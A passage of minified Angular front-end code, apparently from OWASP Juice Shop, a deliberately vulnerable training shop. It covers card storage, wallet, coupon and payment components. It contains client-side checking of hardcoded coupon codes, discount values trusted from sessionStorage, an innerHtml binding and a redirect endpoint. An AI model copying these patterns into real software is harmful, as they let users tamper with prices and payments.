new(e||n)(t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-address-select"]],decls:2,vars:1,consts:[["id","card"],[3,"showNextButton"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"app-address",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("showNextButton",o.showNextButton))},dependencies:[ee],styles:[".btn-pay[_ngcontent-%COMP%]{display:block;width:100%}.mat-raised-button[_ngcontent-%COMP%]{margin-right:3px;margin-top:3px}#card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})(),ss=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-saved-address"]],decls:2,vars:1,consts:[[1,"main-wrapper"],[3,"allowEdit"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t._UZ(1,"app-address",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("allowEdit",!0))},dependencies:[ee],styles:[".main-wrapper[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})();O.vI.add(g.OFe);let le=(()=>{class n{constructor(e){this.dialogData=e}ngOnInit(){this.title=this.dialogData.title,this.url=this.dialogData.url,this.address=this.dialogData.address,this.data=this.dialogData.data}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-qr-code"]],decls:17,vars:11,consts:[[1,"qr-code","mat-typography"],["fxLayout","column","fxLayoutGap","10px"],[1,"container"],[3,"href"],[3,"value","size","level"],["mat-raised-button","","mat-dialog-close","",1,"close-dialog"],[1,"fas","fa-arrow-circle-left","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"header")(2,"h3"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t.TgZ(5,"div",1),t._UZ(6,"mat-divider"),t.TgZ(7,"div",2)(8,"a",3),t._UZ(9,"qr-code",4),t.qZA()(),t.TgZ(10,"small"),t._uU(11),t.qZA()(),t.TgZ(12,"footer")(13,"button",5),t._UZ(14,"i",6),t._uU(15),t.ALo(16,"translate"),t.qZA()()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,7,o.title)),t.xp6(5),t.Q6J("href",o.url,t.LSH),t.xp6(1),t.Q6J("value",o.data)("size",300)("level","M"),t.xp6(2),t.Oqu(o.address),t.xp6(4),t.hij(" ",t.lcZ(16,9,"BTN_CLOSE"),""))},dependencies:[p.xw,p.SQ,se.V,x.lW,N.ZT,z.d,u.X$]}),n})(),ce=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/wallet/balance"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}put(e){return this.http.put(this.host,e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Dt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Deliverys"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),ue=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Cards"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getById(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}del(e){return this.http.delete(`${this.host}/${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function ls(n,a){1&n&&t._UZ(0,"mat-header-cell",33)}function cs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",33)(1,"mat-radio-button",34),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.emitSelectionToParent(r.id))}),t.qZA()()}}function us(n,a){1&n&&t._UZ(0,"mat-header-cell",35)}function ps(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.cardNum," ")}}function ds(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function ms(n,a){if(1&n&&(t.TgZ(0,"mat-cell",36),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Oqu(e.fullName)}}function gs(n,a){1&n&&t._UZ(0,"mat-header-cell",37)}function hs(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.AsE("",e.expMonth,"/",e.expYear,"")}}function _s(n,a){1&n&&t._UZ(0,"mat-header-cell",33)}function fs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",33)(1,"button",38),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.delete(r.id))}),t._UZ(2,"i",39),t.qZA()()}}function Cs(n,a){1&n&&t._UZ(0,"mat-header-row")}function vs(n,a){1&n&&t._UZ(0,"mat-row")}function xs(n,a){if(1&n&&(t.TgZ(0,"div")(1,"mat-table",17),t.ynx(2,18),t.YNc(3,ls,1,0,"mat-header-cell",19),t.YNc(4,cs,2,0,"mat-cell",20),t.BQk(),t.ynx(5,21),t.YNc(6,us,1,0,"mat-header-cell",22),t.YNc(7,ps,2,1,"mat-cell",23),t.BQk(),t.ynx(8,24),t.YNc(9,ds,1,0,"mat-header-cell",25),t.YNc(10,ms,2,1,"mat-cell",26),t.BQk(),t.ynx(11,27),t.YNc(12,gs,1,0,"mat-header-cell",28),t.YNc(13,hs,2,2,"mat-cell",29),t.BQk(),t.ynx(14,30),t.YNc(15,_s,1,0,"mat-header-cell",19),t.YNc(16,fs,3,0,"mat-cell",20),t.BQk(),t.YNc(17,Cs,1,0,"mat-header-row",31),t.YNc(18,vs,1,0,"mat-row",32),t.qZA()()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("dataSource",e.dataSource),t.xp6(16),t.Q6J("matHeaderRowDef",e.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",e.displayedColumns)}}function bs(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_NAME "),t.qZA())}function Ts(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_CARD_NUMBER "),t.qZA())}function As(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," VALID_CARD_NUMBER "),t.qZA())}function ys(n,a){if(1&n&&(t.TgZ(0,"option",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.s9C("value",e),t.xp6(1),t.Oqu(e)}}function Zs(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_EXPIRY_MONTH "),t.qZA())}function ws(n,a){if(1&n&&(t.TgZ(0,"option",40),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.s9C("value",e),t.xp6(1),t.Oqu(e)}}function Ss(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1," MANDATORY_EXPIRY_YEAR "),t.qZA())}O.vI.add(g.XCy,D.I7);let Ye=(()=>{class n{constructor(e,o,i){this.paymentService=e,this.translate=o,this.snackBarHelperService=i,this.emitSelection=new t.vpe,this.allowDelete=!1,this.displayedColumns=["Number","Name","Expiry"],this.nameControl=new s.p4("",[s.kI.required]),this.numberControl=new s.p4("",[s.kI.required,s.kI.min(1e15),s.kI.max(1e16)]),this.monthControl=new s.p4("",[s.kI.required]),this.yearControl=new s.p4("",[s.kI.required]),this.card={},this.cardsExist=!1,this.paymentId=void 0}ngOnInit(){this.monthRange=Array.from(Array(12).keys()).map(e=>e+1),this.yearRange=Array.from(Array(20).keys()).map(e=>e+2080),this.allowDelete?this.displayedColumns.push("Remove"):this.displayedColumns.unshift("Selection"),this.load()}load(){this.paymentService.get().subscribe(e=>{this.cardsExist=e.length,this.storedCards=e,this.dataSource=new d.by(this.storedCards)},e=>{console.log(e)})}save(){this.card.fullName=this.nameControl.value,this.card.cardNum=this.numberControl.value,this.card.expMonth=this.monthControl.value,this.card.expYear=this.yearControl.value,this.paymentService.save(this.card).subscribe(e=>{this.error=null,this.translate.get("CREDIT_CARD_SAVED",{cardnumber:String(e.cardNum).substring(String(e.cardNum).length-4)}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.load(),this.resetForm()},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),this.resetForm()})}delete(e){this.paymentService.del(e).subscribe(()=>{this.load()},o=>{console.log(o)})}emitSelectionToParent(e){this.emitSelection.emit(e)}resetForm(){this.nameControl.markAsUntouched(),this.nameControl.markAsPristine(),this.nameControl.setValue(""),this.numberControl.markAsUntouched(),this.numberControl.markAsPristine(),this.numberControl.setValue(""),this.monthControl.markAsUntouched(),this.monthControl.markAsPristine(),this.monthControl.setValue(""),this.yearControl.markAsUntouched(),this.yearControl.markAsPristine(),this.yearControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ue),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-payment-method"]],inputs:{allowDelete:"allowDelete"},outputs:{emitSelection:"emitSelection"},decls:46,vars:26,consts:[["fxLayout","column","fxLayoutGap","20px"],[4,"ngIf"],[1,"mat-elevation-z0"],[2,"margin-bottom","12px"],["appearance","outline","color","accent"],["translate",""],["type","text","matInput","",3,"formControl"],["translate","",4,"ngIf"],["type","number","matInput","",3,"formControl"],["cardIn",""],["align","end"],["appearance","outline","color","accent",2,"width","45%","margin-right","10%"],["matNativeControl","","required","",3,"formControl"],[3,"value",4,"ngFor","ngForOf"],["appearance","outline","color","accent",2,"width","45%"],["type","submit","id","submitButton","mat-raised-button","","color","primary",2,"margin-top","5px","float","right",3,"disabled","click"],[1,"material-icons"],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","Number"],["fxFlex","35%",4,"matHeaderCellDef"],["fxFlex","35%",4,"matCellDef"],["matColumnDef","Name"],["fxFlex","30%",4,"matHeaderCellDef"],["fxFlex","30%",4,"matCellDef"],["matColumnDef","Expiry"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Remove"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["fxFlex","15%"],[3,"click"],["fxFlex","35%"],["fxFlex","30%"],["fxFlex","20%"],["mat-icon-button","",3,"click"],[1,"far","fa-trash-alt"],[3,"value"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"h1"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.YNc(4,xs,19,3,"div",1),t.TgZ(5,"div")(6,"mat-expansion-panel",2)(7,"mat-expansion-panel-header",3)(8,"mat-panel-title"),t._uU(9),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"mat-panel-description"),t._uU(12),t.ALo(13,"translate"),t.qZA()(),t.TgZ(14,"div")(15,"mat-form-field",4)(16,"mat-label",5),t._uU(17,"LABEL_NAME"),t.qZA(),t._UZ(18,"input",6),t.YNc(19,bs,2,0,"mat-error",7),t.qZA(),t.TgZ(20,"mat-form-field",4)(21,"mat-label",5),t._uU(22,"LABEL_CARD_NUMBER"),t.qZA(),t._UZ(23,"input",8,9),t.TgZ(25,"mat-hint",10),t._uU(26),t.qZA(),t.YNc(27,Ts,2,0,"mat-error",7),t.YNc(28,As,2,0,"mat-error",7),t.qZA(),t.TgZ(29,"mat-form-field",11)(30,"mat-label",5),t._uU(31,"LABEL_EXPIRY_MONTH"),t.qZA(),t.TgZ(32,"select",12),t.YNc(33,ys,2,2,"option",13),t.qZA(),t.YNc(34,Zs,2,0,"mat-error",7),t.qZA(),t.TgZ(35,"mat-form-field",14)(36,"mat-label",5),t._uU(37,"LABEL_EXPIRY_YEAR"),t.qZA(),t.TgZ(38,"select",12),t.YNc(39,ws,2,2,"option",13),t.qZA(),t.YNc(40,Ss,2,0,"mat-error",7),t.qZA()(),t.TgZ(41,"button",15),t.NdJ("click",function(){return o.save()}),t.TgZ(42,"i",16),t._uU(43," send "),t.qZA(),t._uU(44),t.ALo(45,"translate"),t.qZA()()()()),2&e){const i=t.MAs(24);t.xp6(2),t.Oqu(t.lcZ(3,18,"MY_PAYMENT_OPTIONS")),t.xp6(2),t.Q6J("ngIf",o.cardsExist),t.xp6(5),t.hij(" ",t.lcZ(10,20,"ADD_NEW_CARD")," "),t.xp6(3),t.hij(" ",t.lcZ(13,22,"ADD_NEW_CARD_DESCRIPTION")," "),t.xp6(6),t.Q6J("formControl",o.nameControl),t.xp6(1),t.Q6J("ngIf",o.nameControl.invalid&&o.nameControl.errors.required),t.xp6(4),t.Q6J("formControl",o.numberControl),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/16"),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&o.numberControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.numberControl.invalid&&(o.numberControl.errors.min||o.numberControl.errors.max)),t.xp6(4),t.Q6J("formControl",o.monthControl),t.xp6(1),t.Q6J("ngForOf",o.monthRange),t.xp6(1),t.Q6J("ngIf",o.monthControl.invalid&&o.monthControl.errors.required),t.xp6(4),t.Q6J("formControl",o.yearControl),t.xp6(1),t.Q6J("ngForOf",o.yearRange),t.xp6(1),t.Q6J("ngIf",o.yearControl.invalid&&o.yearControl.errors.required),t.xp6(1),t.Q6J("disabled",o.nameControl.invalid||o.numberControl.invalid||o.monthControl.invalid||o.yearControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(45,24,"BTN_SUBMIT")," ")}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.yH,s.YN,s.Kr,s.Fj,s.wV,s.EJ,s.JJ,s.Q7,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,B.Nt,V.ib,V.yz,V.yK,V.u4,nt.U0,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-expansion-panel-header-description[_ngcontent-%COMP%]{flex-basis:0}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}input[_ngcontent-%COMP%]::-webkit-outer-spin-button, input[_ngcontent-%COMP%]::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;margin:0}"]}),n})();function ks(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",11)(1,"div",12)(2,"div",13)(3,"span",14),t._uU(4,"LABEL_PAY_USING_WALLET"),t.qZA()(),t.TgZ(5,"div",15)(6,"b")(7,"span",14),t._uU(8,"LABEL_WALLET_BALANCE"),t.qZA(),t.TgZ(9,"span",16),t._uU(10),t.qZA()()(),t.TgZ(11,"div",17)(12,"button",18),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.useWallet())}),t._UZ(13,"i",19),t._uU(14),t.ALo(15,"translate"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(10),t.hij(" ",e.walletBalanceStr,""),t.xp6(2),t.Q6J("disabled",e.walletBalance-e.totalPrice<0),t.xp6(2),t.AsE(" ",t.lcZ(15,4,"LABEL_PAY")," ",null==e.totalPrice?null:e.totalPrice.toFixed(2),"\\xa4 ")}}function Is(n,a){if(1&n&&(t.TgZ(0,"div",31),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",e.couponConfirmation," ")}}function Os(n,a){if(1&n&&(t.TgZ(0,"div",32),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",null==e.couponError?null:e.couponError.error," ")}}function Us(n,a){1&n&&(t.TgZ(0,"mat-error"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij(" ",t.lcZ(2,1,"COUPON_CODE_HINT")," "))}const Ls=function(n,a){return{twitter:n,facebook:a}};function Ps(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-expansion-panel",20)(1,"mat-expansion-panel-header",21)(2,"mat-panel-title"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.TgZ(5,"mat-panel-description"),t._uU(6),t.ALo(7,"translate"),t.qZA()(),t.YNc(8,Is,2,1,"div",22),t.YNc(9,Os,2,1,"div",23),t.TgZ(10,"mat-form-field",24)(11,"mat-label",8),t._uU(12,"LABEL_COUPON"),t.qZA(),t._UZ(13,"mat-hint",25),t.ALo(14,"translate"),t._UZ(15,"input",26,27),t.ALo(17,"translate"),t.TgZ(18,"mat-hint",28),t._uU(19),t.qZA(),t.YNc(20,Us,3,3,"mat-error",29),t.qZA(),t.TgZ(21,"button",30),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.applyCoupon())}),t.TgZ(22,"mat-icon"),t._uU(23," redeem "),t.qZA(),t._uU(24),t.ALo(25,"translate"),t.qZA()()}if(2&n){const e=t.MAs(16),o=t.oxw();t.Q6J("expanded",o.couponPanelExpanded),t.xp6(3),t.hij(" ",t.lcZ(4,12,"ADD_A_COUPON")," "),t.xp6(3),t.hij(" ",t.lcZ(7,14,"VOUCHERS_AND_PROMOTIONAL_CODE")," "),t.xp6(2),t.Q6J("ngIf",o.couponConfirmation&&!o.couponControl.dirty),t.xp6(1),t.Q6J("ngIf",o.couponError&&!o.couponControl.dirty),t.xp6(4),t.Q6J("innerHtml",t.xi3(14,16,"FOLLOW_FOR_MONTHLY_COUPONS",t.WLB(23,Ls,o.twitterUrl,o.facebookUrl)),t.oJD),t.xp6(2),t.s9C("placeholder",t.lcZ(17,19,"ENTER_COUPON_CODE")),t.Q6J("formControl",o.couponControl),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/10"),t.xp6(1),t.Q6J("ngIf",o.couponControl.invalid&&(o.couponControl.errors.minlength||o.couponControl.errors.maxlength)),t.xp6(1),t.Q6J("disabled",o.couponControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(25,21,"BTN_REDEEM")," ")}}const Je=function(){return{juiceshop:"OWASP Juice Shop"}};function Ns(n,a){1&n&&(t.TgZ(0,"span",56),t._uU(1,"THANKS_FOR_SUPPORT"),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Je))}const Qe=function(n){return{appname:n}};function Es(n,a){if(1&n&&(t.TgZ(0,"span",56),t._uU(1,"THANKS_FOR_SUPPORT_CUSTOMIZED"),t.qZA()),2&n){const e=t.oxw(2);t.Q6J("translateParams",t.VKq(1,Qe,e.applicationName))}}function Ms(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showBitcoinQrCode())}),t._UZ(1,"i",58),t._uU(2," Bitcoin "),t.qZA()}}function Ds(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showDashQrCode())}),t.TgZ(1,"i",59),t._uU(2,"\\xd0"),t.qZA(),t._uU(3," Dash"),t.qZA()}}function qs(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",57),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.showEtherQrCode())}),t._UZ(1,"i",60),t._uU(2," Ether "),t.qZA()}}function Fs(n,a){1&n&&(t.TgZ(0,"span",56),t._uU(1,"OFFICIAL_MERCHANDISE_STORES"),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,Je))}function Bs(n,a){if(1&n&&(t.TgZ(0,"span",56),t._uU(1,"OFFICIAL_MERCHANDISE_STORES_CUSTOMIZED"),t.qZA()),2&n){const e=t.oxw(2);t.Q6J("translateParams",t.VKq(1,Qe,e.applicationName))}}function Rs(n,a){if(1&n&&(t.TgZ(0,"mat-expansion-panel",33)(1,"mat-expansion-panel-header",21)(2,"mat-panel-title"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t.TgZ(5,"div",34)(6,"div",35)(7,"div",36)(8,"label",8),t._uU(9,"LABEL_DONATIONS"),t.qZA()(),t.TgZ(10,"small"),t._uU(11," ("),t.YNc(12,Ns,2,2,"span",37),t.YNc(13,Es,2,3,"span",37),t._UZ(14,"i",38),t._uU(15,") "),t.qZA(),t.TgZ(16,"div",39)(17,"a",40)(18,"button",41),t._UZ(19,"i",42),t._uU(20),t.ALo(21,"translate"),t.qZA()(),t.YNc(22,Ms,3,0,"button",43),t.YNc(23,Ds,4,0,"button",43),t.YNc(24,qs,3,0,"button",43),t.qZA()(),t._UZ(25,"span",44),t.TgZ(26,"div",45)(27,"div",36)(28,"label",8),t._uU(29,"LABEL_MERCHANDISE"),t.qZA()(),t.TgZ(30,"small"),t._uU(31," ("),t.YNc(32,Fs,2,2,"span",37),t.YNc(33,Bs,2,3,"span",37),t._UZ(34,"i",46),t._uU(35,") "),t.qZA(),t.TgZ(36,"div",39)(37,"a",47)(38,"button",41),t._UZ(39,"i",48),t._uU(40," Spreadshirt (US)"),t.qZA()(),t.TgZ(41,"a",49)(42,"button",41),t._UZ(43,"i",48),t._uU(44," Spreadshirt (DE)"),t.qZA()(),t.TgZ(45,"a",50)(46,"button",41),t._UZ(47,"i",51),t._uU(48," StickerYou"),t.qZA()(),t.TgZ(49,"a",52)(50,"button",41),t._UZ(51,"i",53),t._uU(52," Leanpub"),t.qZA()(),t.TgZ(53,"a",54)(54,"button",41),t._UZ(55,"i",55),t._uU(56," OpenSea"),t.qZA()()()()()()),2&n){const e=t.oxw();t.Q6J("expanded",e.paymentPanelExpanded),t.xp6(3),t.hij(" ",t.lcZ(4,10,"OTHER_PAYMENT_OPTIONS")," "),t.xp6(9),t.Q6J("ngIf","OWASP Juice Shop"===e.applicationName),t.xp6(1),t.Q6J("ngIf","OWASP Juice Shop"!==e.applicationName),t.xp6(7),t.hij(" ",t.lcZ(21,12,"BTN_CREDIT_CARD"),""),t.xp6(2),t.Q6J("ngIf",!1),t.xp6(1),t.Q6J("ngIf",!1),t.xp6(1),t.Q6J("ngIf",!1),t.xp6(8),t.Q6J("ngIf","OWASP Juice Shop"===e.applicationName),t.xp6(1),t.Q6J("ngIf","OWASP Juice Shop"!==e.applicationName)}}function Ys(n,a){1&n&&(t.TgZ(0,"span",8),t._uU(1,"REVIEW_ALERT"),t.qZA())}function Js(n,a){1&n&&(t.TgZ(0,"span",8),t._uU(1,"REVIEW_WALLET"),t.qZA())}O.vI.add(g.bMA,g.Cly,g.m6i,Z.To0,g.u8Q,g.Dfm,g.L4e,g.oFW,g.SvR,g.NBC,Z.uy2,g.q2v);let Qs=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.location=e,this.cookieService=o,this.userService=i,this.deliveryService=r,this.walletService=l,this.router=m,this.dialog=v,this.configurationService=A,this.basketService=q,this.translate=Y,this.activatedRoute=dt,this.ngZone=wt,this.snackBarHelperService=St,this.card={},this.twitterUrl=null,this.facebookUrl=null,this.applicationName="OWASP Juice Shop",this.couponControl=new s.p4("",[s.kI.required,s.kI.minLength(10),s.kI.maxLength(10)]),this.paymentId=void 0,this.couponPanelExpanded=!1,this.paymentPanelExpanded=!1,this.walletBalance=0,this.totalPrice=0,this.paymentMode="card",this.campaigns={WMNSDY2019:{validOn:15519996e5,discount:75},WMNSDY2020:{validOn:1583622e6,discount:60},WMNSDY2021:{validOn:1615158e6,discount:60},WMNSDY2022:{validOn:1646694e6,discount:60},WMNSDY2023:{validOn:167823e7,discount:60},ORANGE2020:{validOn:15885468e5,discount:50},ORANGE2021:{validOn:16200828e5,discount:40},ORANGE2022:{validOn:16516188e5,discount:40},ORANGE2023:{validOn:16831548e5,discount:40}}}ngOnInit(){this.initTotal(),this.walletService.get().subscribe(e=>{this.walletBalance=e,this.walletBalanceStr=parseFloat(e).toFixed(2)},e=>{console.log(e)}),this.couponPanelExpanded=!!localStorage.getItem("couponPanelExpanded")&&JSON.parse(localStorage.getItem("couponPanelExpanded")),this.paymentPanelExpanded=!!localStorage.getItem("paymentPanelExpanded")&&JSON.parse(localStorage.getItem("paymentPanelExpanded")),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&(e.application.social.twitterUrl&&(this.twitterUrl=e.application.social.twitterUrl),e.application.social.facebookUrl&&(this.facebookUrl=e.application.social.facebookUrl),e.application.name&&(this.applicationName=e.application.name))},e=>{console.log(e)})}initTotal(){this.activatedRoute.paramMap.subscribe(e=>{if(this.mode=e.get("entity"),"wallet"===this.mode)this.totalPrice=parseFloat(sessionStorage.getItem("walletTotal"));else if("deluxe"===this.mode)this.userService.deluxeStatus().subscribe(o=>{this.totalPrice=o.membershipCost},o=>{console.log(o)});else{const o=parseFloat(sessionStorage.getItem("itemTotal")),i=sessionStorage.getItem("couponDiscount")?parseFloat(sessionStorage.getItem("couponDiscount"))/100*o:0;this.deliveryService.getById(sessionStorage.getItem("deliveryMethodId")).subscribe(r=>{this.totalPrice=o+r.price-i})}},e=>{console.log(e)})}applyCoupon(){this.campaignCoupon=this.couponControl.value,this.clientDate=new Date;const e=60*(this.clientDate.getTimezoneOffset()+60)*1e3;this.clientDate.setHours(0,0,0,0),this.clientDate=this.clientDate.getTime()-e,sessionStorage.setItem("couponDetails",`${this.campaignCoupon}-${this.clientDate}`);const o=this.campaigns[this.couponControl.value];o?this.clientDate===o.validOn?this.showConfirmation(o.discount):(this.couponConfirmation=void 0,this.translate.get("INVALID_COUPON").subscribe(i=>{this.couponError={error:i}},i=>{this.couponError={error:i}}),this.resetCouponForm()):this.basketService.applyCoupon(Number(sessionStorage.getItem("bid")),encodeURIComponent(this.couponControl.value)).subscribe(i=>{this.showConfirmation(i)},i=>{this.couponConfirmation=void 0,this.couponError=i,this.resetCouponForm()})}showConfirmation(e){this.resetCouponForm(),this.couponError=void 0,sessionStorage.setItem("couponDiscount",e),this.translate.get("DISCOUNT_APPLIED",{discount:e}).subscribe(o=>{this.couponConfirmation=o},o=>{this.couponConfirmation=o}),this.initTotal()}getMessage(e){this.paymentId=e,this.paymentMode="card"}routeToPreviousUrl(){this.location.back()}choosePayment(){var e=this;if(sessionStorage.removeItem("itemTotal"),"wallet"===this.mode)this.walletService.put({balance:this.totalPrice,paymentId:this.paymentId}).subscribe(()=>{sessionStorage.removeItem("walletTotal"),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/wallet"])})),this.snackBarHelperService.open("CHARGED_WALLET","confirmBar")},o=>{console.log(o),this.snackBarHelperService.open(o.error?.message,"errorBar")});else if("deluxe"===this.mode)this.userService.upgradeToDeluxe(this.paymentMode,this.paymentId).subscribe(o=>{localStorage.setItem("token",o.token),this.cookieService.put("token",o.token),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/deluxe-membership"])}))},o=>{console.log(o)});else{if("wallet"===this.paymentMode){if(this.walletBalance<this.totalPrice)return void this.snackBarHelperService.open("INSUFFICIENT_WALLET_BALANCE","errorBar");sessionStorage.setItem("paymentId","wallet")}else sessionStorage.setItem("paymentId",this.paymentId);this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/order-summary"])}))}}noop(){}showBitcoinQrCode(){this.dialog.open(le,{data:{data:"bitcoin:1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",url:"./redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",address:"1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm",title:"TITLE_BITCOIN_ADDRESS"}})}showDashQrCode(){this.dialog.open(le,{data:{data:"dash:Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",url:"./redirect?to=https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",address:"Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW",title:"TITLE_DASH_ADDRESS"}})}showEtherQrCode(){this.dialog.open(le,{data:{data:"0x0f933ab9fCAAA782D0279C300D73750e1311EAE6",url:"./redirect?to=https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6",address:"0x0f933ab9fCAAA782D0279C300D73750e1311EAE6",title:"TITLE_ETHER_ADDRESS"}})}useWallet(){this.paymentMode="wallet",this.choosePayment()}resetCouponForm(){this.couponControl.setValue(""),this.couponControl.markAsPristine(),this.couponControl.markAsUntouched()}}return n.\\u0275fac=function(e){return 